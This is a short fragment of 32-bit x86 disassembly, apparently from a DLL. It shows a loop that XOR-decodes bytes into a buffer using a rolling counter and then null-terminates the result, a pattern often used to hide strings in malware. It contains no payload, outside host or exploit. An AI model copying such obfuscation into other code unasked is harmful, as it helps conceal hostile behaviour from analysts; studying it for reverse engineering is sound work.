movsx edx, byte [ecx - 0x5d1e2afe]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000315c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10003119
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x2b], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4